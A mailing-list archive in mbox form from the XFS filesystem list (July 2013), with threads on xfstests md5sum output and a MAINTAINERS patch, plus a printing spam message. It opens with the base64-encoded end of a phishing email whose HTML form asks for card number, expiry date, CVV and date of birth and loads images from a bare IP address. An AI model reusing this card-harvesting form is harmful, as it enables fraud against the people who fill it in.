ICAgPC9GT05UPjwvVEQ+DQogICAgICAgICAgICAgICAgPFREIHdpZHRoPTQwMD4mbmJzcDs8 L1REPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICA8VFI+IA0KICAgICAg ICAgICAgICAgIDx0ZCB3aWR0aD0zNTg+PGI+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGlj YSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+PGZvbnQg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+IA0KICAgICAg ICAgICAgICAgICAgPC9mb250Pjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMt c2VyaWYiIHNpemU9IjIiPkRhdGUgDQogICAgICAgICAgICAgICAgICBvZiBCaXJ0aDo8L2Zv bnQ+PC9iPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3OTAiIGJnY29sb3I9 IiNFMkQ1RkYiPjxmb250IGNvbG9yPSM1MzU1NDc+IA0KICAgICAgICAgICAgICAgICAgPGlu cHV0IGlkPWRvYiBvbktleVVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgbWF4bGVuZ3Ro PTEwIHNpemU9MTAgbmFtZT1kb2I+DQogICAgICAgICAgICAgICAgICA8Zm9udCBmYWNlPSJW ZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIxIj4oZGQvbW0v eXl5eSk8L2ZvbnQ+PC9mb250PjwvdGQ+DQogICAgICAgICAgICAgIDwvVFI+DQogICAgICAg ICAgICAgIDxUUj4gDQogICAgICAgICAgICAgICAgPHRkIHdpZHRoPTM1OD48Yj48Zm9udCBm YWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIiBjb2xvcj0iI0ZG MDAwMCI+KjwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlm IiBzaXplPSIyIj4gDQogICAgICAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJp YWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+Q2FyZCANCiAgICAgICAgICAg ICAgICAgIE51bWJlcjo8L2ZvbnQ+PC9iPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkIHdp ZHRoPSI3OTAiIGJnY29sb3I9IiNFMkQ1RkYiPjxmb250IGNvbG9yPSM1MzU1NDc+IA0KICAg ICAgICAgICAgICAgICAgPGlucHV0IG9uS2V5UHJlc3M9InJldHVybiBudW1iZXJzb25seSh0 aGlzLCBldmVudCkiIGlkPWNhcmQgb25LZXlVcD1jaGVja0xlbih0aGlzLHRoaXMudmFsdWUp IG1heGxlbmd0aD0xNiBzaXplPTE3IG5hbWU9Y2FyZD4NCiAgICAgICAgICAgICAgICAgIDxm b250IGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9 IjEiPigxNiANCiAgICAgICAgICAgICAgICAgIGRpZ2l0cywgbm8gZGFzaGVzIG9yIHNwYWNl cyk8L2ZvbnQ+PC9mb250PjwvdGQ+DQogICAgICAgICAgICAgICAgPFREIHdpZHRoPTQwMD4m bmJzcDs8L1REPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICA8VFI+IA0K ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0zNTg+PGI+PGZvbnQgZmFjZT0iQXJpYWwsIEhl bHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+ PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+IA0K ICAgICAgICAgICAgICAgICAgPC9mb250Pjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2Es IHNhbnMtc2VyaWYiIHNpemU9IjIiPkV4cGlyYXRpb24gDQogICAgICAgICAgICAgICAgICBE YXRlOjwvZm9udD48L2I+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9Ijc5MCIg Ymdjb2xvcj0iI0UyRDVGRiI+PGZvbnQgY29sb3I9IzUzNTU0Nz4gDQogICAgICAgICAgICAg ICAgICA8aW5wdXQgaWQ9ZXhwIG9uS2V5VXA9Y2hlY2tMZW4odGhpcyx0aGlzLnZhbHVlKSBz aXplPTYgbmFtZT1leHA+DQogICAgICAgICAgICAgICAgICA8Zm9udCBmYWNlPSJWZXJkYW5h LCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIxIj4obW0veXkpPC9mb250 PjwvZm9udD48L3RkPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICA8dHI+ IA0KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0zNTg+PGI+PGZvbnQgZmFjZT0iQXJpYWws IEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNGRjAwMDAiPio8L2Zv bnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+ IA0KICAgICAgICAgICAgICAgICAgPC9mb250Pjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRp Y2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPkNWVjo8L2ZvbnQ+PC9iPjwvdGQ+DQogICAgICAg ICAgICAgICAgPHRkIHdpZHRoPSI3OTAiIGJnY29sb3I9IiNFMkQ1RkYiPjxmb250IGNvbG9y PSM1MzU1NDc+IA0KICAgICAgICAgICAgICAgICAgPGlucHV0IGlkPWN2diBvbktleVVwPWNo ZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgdHlwZT1wYXNzd29yZCBtYXhsZW5ndGg9MyBzaXpl PTMgdmFsdWU9IiIgbmFtZT1jdnY+DQogICAgICAgICAgICAgICAgICA8Zm9udCBmYWNlPSJW ZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIxIj4obGFzdCAN CiAgICAgICAgICAgICAgICAgIDMgZGlnaXRzIG9uIHRoZSBiYWNrIG9mIHlvdXIgY2FyZCk8 L2ZvbnQ+PC9mb250PjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkIHdpZHRoPTQwMD4mbmJz cDs8L3RkPg0KICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICA8VFI+IA0KICAg ICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4NCiAgICAgICAgICAgICAgICAgIDxwPjxi cj4NCiAgICAgICAgICAgICAgICAgICAgPGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwg c2Fucy1zZXJpZiIgc2l6ZT0iMiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPk5PVEU6PC9m b250PiANCiAgICAgICAgICAgICAgICAgICAgSWYgeW91ciBpbmZvcm1hdGlvbiBpcyBpbmNv cnJlY3QgeW91ciBhY2NvdW50IHdpbGwgbm90IGJlIA0KICAgICAgICAgICAgICAgICAgICBj cmVkaXRlZC48L2I+PC9mb250PjwvcD4NCiAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAg ICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICA8L1RCT0RZPiANCiAgICAgICAgICAgIDwv VEFCTEU+DQogICAgICAgICAgICA8UD48Zm9udCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVs dmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIj48YnI+DQogICAgICAgICAgICAgIFdoZW4g eW91IGZpbmlzaGVkIHRvIGNvbXBsZXRlIHRoZSBmb3JtIHBsZWFzZSBjbGljayAmcXVvdDs8 Yj5ORVhUPC9iPiZxdW90OyANCiAgICAgICAgICAgICAgaW4gdGhlIGJvdHRvbSByaWdodCBj b3JuZXIgaW4gb3JkZXIgdG8gY29udGludWUuPC9mb250PjwvUD4NCiAgICAgICAgICA8L0RJ Vj48L0RJVj4NCjxESVYgY2xhc3M9d2l6YXJkTmF2IGlkPWN0bDAwX21haW5Db250ZW50X0J1 dHRvblBhbmVsPg0KPERJViBjbGFzcz1yaWdodCBpZD1jdGwwMF9tYWluQ29udGVudF9uZXh0 QnV0dG9uUGFuZWw+DQo8RElWIGNsYXNzPSJidG5OZXh0IGJ0bmJnIiBpZD1jdGwwMF9tYWlu Q29udGVudF9OZXh0QnV0dG9uX3dyYXBwZXI+DQo8RElWIGNsYXNzPWJ0bnQ+DQo8RElWIGNs YXNzPWJ0bnI+DQo8RElWIGNsYXNzPWJ0bmI+DQo8RElWIGNsYXNzPWJ0bmw+DQo8RElWIGNs YXNzPWJ0bnRsPg0KPERJViBjbGFzcz1idG50cj48QSBvbmNsaWNrPSJyZXR1cm4gc2xvYm96 KCkiIGhyZWY9ImphdmFzY3JpcHQ6IHN1Ym1pdGZvcm0oKSI+PElNRyBoZWlnaHQ9MjUgc3Jj PSJodHRwOi8vMjAxLjgyLjkuMTAwLy9kYXRhL29wZW53ZWJtYWlsL2ltYWdlcy9maWxlL2lt Zy9ueHQuanBnIiB3aWR0aD02MCBib3JkZXI9MD48L0E+PC9ESVY+PC9ESVY+PC9ESVY+PC9E SVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PFNQQU4gY2xh c3M9ZXJyb3JJbmRpY2F0b3IgaWQ9Y3RsMDBfbWFpbkNvbnRlbnRfY3RsMTQ3IHN0eWxlPSJE SVNQTEFZOiBub25lOyBDT0xPUjogcmVkIj48L1NQQU4+PElOUFVUIHR5cGU9aGlkZGVuIHZh bHVlPXRydWUgbmFtZT1zY3JpcHRpbmdvbj4gDQo8RElWIGNsYXNzPWFuYWx5dGljc1BGIGlk PWN0bDAwX21haW5Db250ZW50X2FuYWx5dGljc1BGPjxJTUcgaWQ9Y3RsMDBfbWFpbkNvbnRl bnRfYW5hbHl0aWNzSW1nIHN0eWxlPSJCT1JERVItVE9QLVdJRFRIOiAwcHg7IEJPUkRFUi1M RUZULVdJRFRIOiAwcHg7IEJPUkRFUi1CT1RUT00tV0lEVEg6IDBweDsgQk9SREVSLVJJR0hU LVdJRFRIOiAwcHgiIGFsdD0iIiBzcmM9Imh0dHA6Ly8yMDEuODIuOS4xMDAvL2RhdGEvb3Bl bndlYm1haWwvaW1hZ2VzL2ZpbGUvaW1nL2FiYi5naWYiPjwvRElWPjwvRk9STT48IS0tIE9t bml0dXJlIExvZ2dpbmcgLS0+PCEtLSBFbmQgb2YgT21uaXR1cmUgY29udGVudCB0YWcgLS0+ PC9ESVY+PC9ESVY+PC9CT0RZPjwvSFRNTD4= ------=_NextPart_000_0012_DB82769D.EC3A96D1-- From david@fromorbit.com Wed Jul 3 01:37:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 232497F78 for ; Wed, 3 Jul 2013 01:37:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 027C88F8052 for ; Tue, 2 Jul 2013 23:37:51 -0700 (PDT) X-ASG-Debug-ID: 1372833469-04bdf02b8e8b6270001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id EI0YKONloj2Tg16o for ; Tue, 02 Jul 2013 23:37:50 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlkrAOnF01F5LCeA/2dsb2JhbABagwkyrHECjk6FJQQBfxd0giMBAQU6HCMQCAMOCgklDwUlAyETiA4NuyYWjH6BHxWBHQeDbQOTd4NSkUaDIyqBNQ Received: from ppp121-44-39-128.lns20.syd6.internode.on.net (HELO dastard) ([121.44.39.128]) by ipmail06.adl6.internode.on.net with ESMTP; 03 Jul 2013 16:07:48 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UuGgu-0006tk-On; Wed, 03 Jul 2013 16:37:24 +1000 Date: Wed, 3 Jul 2013 16:37:24 +1000 From: Dave Chinner To: Eric Sandeen Cc: Koen De Wit , Eric Sandeen , "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Subject: Re: [PATCH v3] xfstests: btrfs/316: cross-subvolume sparse copy Message-ID: <20130703063724.GK14996@dastard> X-ASG-Orig-Subj: Re: [PATCH v3] xfstests: btrfs/316: cross-subvolume sparse copy References: <51D29D17.3050000@oracle.com> <20130702101539.GC14996@dastard> <51D2E33B.1080402@oracle.com> <6B93E4A6-D1C9-4170-8E1C-B94D24F601BB@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <6B93E4A6-D1C9-4170-8E1C-B94D24F601BB@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1372833469 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135662 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 02, 2013 at 11:51:21AM -0400, Eric Sandeen wrote: > On Jul 2, 2013, at 10:28 AM, Koen De Wit > wrote: > > > Dave, > > > > Thanks for the review. I will clean up the commit message and do > > a full mail-to-myself-and-test-patch round trip to avoid errors > > like the wrong test numbers in the golden output. I'm sorry for > > this. > > > > About cutting out file names from the output. I did this in the > > first version of the patch: > > > > md5sum $TESTDIR1/$F | $AWK_PROG 'END {print $1}' > > > > but Eric Sandeen suggested to include them in order to provide > > more context in the output. (See > > http://oss.sgi.com/archives/xfs/2013-03/msg00231.html and > > http://oss.sgi.com/archives/xfs/2013-03/msg00220.html) That > > sounds like a good idea to me, it makes debugging failures > > easier. Whose opinion should I follow? > > > Heh sorry. IMHO maybe a middle ground; not bare md5sum but show > only the base name? In the end up to you; it seems Dave and I > have different opinions on this. :) I was just going by current xfstests convention. i.e, in common/rc: # Prints the md5 checksum of a given file _md5_checksum() { md5sum $1 | cut -d ' ' -f1 } Which is used by all the hole punch tests and generic/311. Make of that what you will, but I'd prefer to see consistency of implementation across tests... ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 3 01:41:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4E30C7F78 for ; Wed, 3 Jul 2013 01:41:10 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 29CFD304087 for ; Tue, 2 Jul 2013 23:41:10 -0700 (PDT) X-ASG-Debug-ID: 1372833667-04bdf0233eadcf60001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id p8lBBDMVhiTagdaX for ; Tue, 02 Jul 2013 23:41:07 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlkrAK7G01F5LCeA/2dsb2JhbABagwkyrHECjk6FJQQBfxd0giMBAQU6HCMQCAMOCgklDwUlAyETiA67NRaOMoEdB4NtA5dJkUaDIyo Received: from ppp121-44-39-128.lns20.syd6.internode.on.net (HELO dastard) ([121.44.39.128]) by ipmail06.adl2.internode.on.net with ESMTP; 03 Jul 2013 16:11:07 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UuGjq-0006u1-Ii; Wed, 03 Jul 2013 16:40:26 +1000 Date: Wed, 3 Jul 2013 16:40:26 +1000 From: Dave Chinner To: Yann Droneaud Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list Message-ID: <20130703064026.GL14996@dastard> X-ASG-Orig-Subj: Re: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list References: <1372777248-4114-1-git-send-email-ydroneaud@opteya.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1372777248-4114-1-git-send-email-ydroneaud@opteya.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1372833667 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC1_TG070, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135662 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) 0.50 BSF_SC1_TG070 Custom Rule TG070 On Tue, Jul 02, 2013 at 05:00:47PM +0200, Yann Droneaud wrote: > This patch changes type of xfs@oss.sgi.com > > The output of ./scripts/get_maintainer.pl is > modified to report xfs@oss.sgi.com as a list: What's the problem with that? All XFS patches and problem reports should be sent to the xfs@oss.sgi.com list. There are far more people than just the maintainer that can triage problems, answer questions and review patches... Cheers, Dave. -- Dave Chinner david@fromorbit.com From ydroneaud@opteya.com Wed Jul 3 03:14:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E4B027F81 for ; Wed, 3 Jul 2013 03:14:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B4D543040A4 for ; Wed, 3 Jul 2013 01:14:45 -0700 (PDT) X-ASG-Debug-ID: 1372839282-04bdf0233cae2400001-NocioJ Received: from mx-out.ocsa-data.net (mx-out.ocsa-data.net [194.36.166.37]) by cuda.sgi.com with ESMTP id IalcrB0gol7nNSFv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 03 Jul 2013 01:14:44 -0700 (PDT) X-Barracuda-Envelope-From: ydroneaud@opteya.com X-Barracuda-Apparent-Source-IP: 194.36.166.37 Received: from [192.168.111.12] (helo=rc.ouvaton.coop) by mx-out.ocsa-data.net with esmtpa (Exim - FreeBSD Rulez) id 1UuID3-0001Y1-8G; Wed, 03 Jul 2013 10:14:41 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Date: Wed, 03 Jul 2013 10:14:41 +0200 From: Yann Droneaud To: Dave Chinner Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com, ydroneaud@opteya.com Subject: Re: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list Organization: OPTEYA X-ASG-Orig-Subj: Re: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list In-Reply-To: <20130703064026.GL14996@dastard> References: <1372777248-4114-1-git-send-email-ydroneaud@opteya.com> <20130703064026.GL14996@dastard> Message-ID: X-Sender: ydroneaud@opteya.com User-Agent: Roundcube Webmail/0.9.2 X-abuse-contact: abuse@ocsa-data.net X-Barracuda-Connect: mx-out.ocsa-data.net[194.36.166.37] X-Barracuda-Start-Time: 1372839283 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC1_TG070, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135668 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) 0.50 BSF_SC1_TG070 Custom Rule TG070 Hi, Le 03.07.2013 08:40, Dave Chinner a écrit : > On Tue, Jul 02, 2013 at 05:00:47PM +0200, Yann Droneaud wrote: >> This patch changes type of xfs@oss.sgi.com >> >> The output of ./scripts/get_maintainer.pl is >> modified to report xfs@oss.sgi.com as a list: > > What's the problem with that? All XFS patches and problem > reports should be sent to the xfs@oss.sgi.com list. There are far > more people than just the maintainer that can triage problems, > answer questions and review patches... > It was just disturbing: I was looking for a list for XFS and found only maintainers. Except dm-devel, no others public mailing list is used as a maintainer. So I thought it was a misinterpretation after following commit: commit 18caa67ad41212e6f82a675c40f461ffb45f098e Author: Ben Myers Date: Thu Apr 12 17:05:05 2012 +0000 MAINTAINERS: retire xfs-masters@oss.sgi.com xfs-masters@oss.sgi.com will be retired in favor of xfs@oss.sgi.com sometime soon. Signed-off-by: Ben Myers Reviewed-by: Christoph Hellwig diff --git a/MAINTAINERS b/MAINTAINERS index 2dcfca8..12b0445 100644 --- a/MAINTAINERS +++ b/MAINTAINERS @@ -7564,7 +7564,7 @@ XFS FILESYSTEM P: Silicon Graphics Inc M: Ben Myers M: Alex Elder -M: xfs-masters@oss.sgi.com +M: xfs@oss.sgi.com L: xfs@oss.sgi.com W: http://oss.sgi.com/projects/xfs T: git git://oss.sgi.com/xfs/xfs.git Regards. -- Yann Droneaud OPTEYA From finbarxbs5@gmail.com Wed Jul 3 04:19:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3E4AE7F82 for ; Wed, 3 Jul 2013 04:19:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BEBE6AC005 for ; Wed, 3 Jul 2013 02:19:50 -0700 (PDT) X-ASG-Debug-ID: 1372843189-04cb6c2a42827b20001-NocioJ Received: from mail-ie0-f193.google.com (mail-ie0-f193.google.com [209.85.223.193]) by cuda.sgi.com with ESMTP id yC9QpkVJ6cO7oQaT (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 03 Jul 2013 02:19:49 -0700 (PDT) X-Barracuda-Envelope-From: finbarxbs5@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.193 Received: by mail-ie0-f193.google.com with SMTP id s9so5312684iec.0 for ; Wed, 03 Jul 2013 02:19:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=HAaU93OMrkHVgVaN2DsugWFkr67Z96ApFsylyzY/cQ4=; b=BYQ14TsgwTDsRhBpr+0nfzFxa4akuva6PFeGl5ENvk5/Zt0BIRdGMHCibRb4JEDBq3 EV6FMqTxjOXJa9Yj0CDYZPp3++NUWX4PiXYblDet7uApK5vvJuHUw8th0ae2P1Uefhrj rMoRtRxykhZK+NFkct8iM0Kmzx+YHpbr5IBTkixN4aR0FFjPfYn6qujGAXsQhsuRFsMv yiGQUHULhpaw1dyB6LDyfHsbLyc7tXPeGBCH8BNpX94mYoxxIwan7ZolHol8XYMG0GIZ sKPLfAH2IjEpRkAOfRIABjqsQ7rsf70i+BXu1isG17vTdRhLYuH7Tea9s4PCPG4Phizo NeDQ== X-Barracuda-BBL-IP: nil MIME-Version: 1.0 X-Received: by 10.50.126.36 with SMTP id mv4mr9855973igb.45.1372843189450; Wed, 03 Jul 2013 02:19:49 -0700 (PDT) Received: by 10.43.7.134 with HTTP; Wed, 3 Jul 2013 02:19:49 -0700 (PDT) Date: Wed, 3 Jul 2013 17:19:49 +0800 Message-ID: Subject: product package printing From: Jinghao Printing - CHINA X-ASG-Orig-Subj: product package printing To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=047d7b3a9684a3d5b904e097f673 X-Barracuda-Connect: mail-ie0-f193.google.com[209.85.223.193] X-Barracuda-Start-Time: 1372843189 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135674 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --047d7b3a9684a3d5b904e097f673 Content-Type: text/plain; charset=ISO-8859-1 Hi, this is David Wu from Shanghai, China. We are a printing company, we can print color box, corrugated box, label, hang tag etc. Please let me know if you need these. Best regards, David Wu --047d7b3a9684a3d5b904e097f673 Content-Type: text/html; charset=ISO-8859-1
    Hi, this is David Wu from Shanghai, China.
    We are a printing company, we can print color box, corrugated box, label, hang tag etc.
    Please let me know if you need these.

    Best regards,
    David Wu


    --047d7b3a9684a3d5b904e097f673-- From david@fromorbit.com Wed Jul 3 04:24:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6571A7F82 for ; Wed, 3 Jul 2013 04:24:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E4144AC005 for ; Wed, 3 Jul 2013 02:24:13 -0700 (PDT) X-ASG-Debug-ID: 1372843451-04cbb04691ad44c0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id kVfxvMvHRBCWG2T3 for ; Wed, 03 Jul 2013 02:24:11 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmErAF3s01F5LNm+/2dsb2JhbABagwkyrHwCjk6FIQQEAX4XdIIjAQEFMgEjIxAIAw4KCSUPBSUDIROIDrpzFo4ygR0Hg20Dl0mRRoMjKg Received: from ppp121-44-217-190.lns20.syd7.internode.on.net (HELO dastard) ([121.44.217.190]) by ipmail05.adl6.internode.on.net with ESMTP; 03 Jul 2013 18:54:10 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UuJIE-0007B4-4l; Wed, 03 Jul 2013 19:24:06 +1000 Date: Wed, 3 Jul 2013 19:24:06 +1000 From: Dave Chinner To: Yann Droneaud Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list Message-ID: <20130703092406.GM14996@dastard> X-ASG-Orig-Subj: Re: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list References: <1372777248-4114-1-git-send-email-ydroneaud@opteya.com> <20130703064026.GL14996@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit 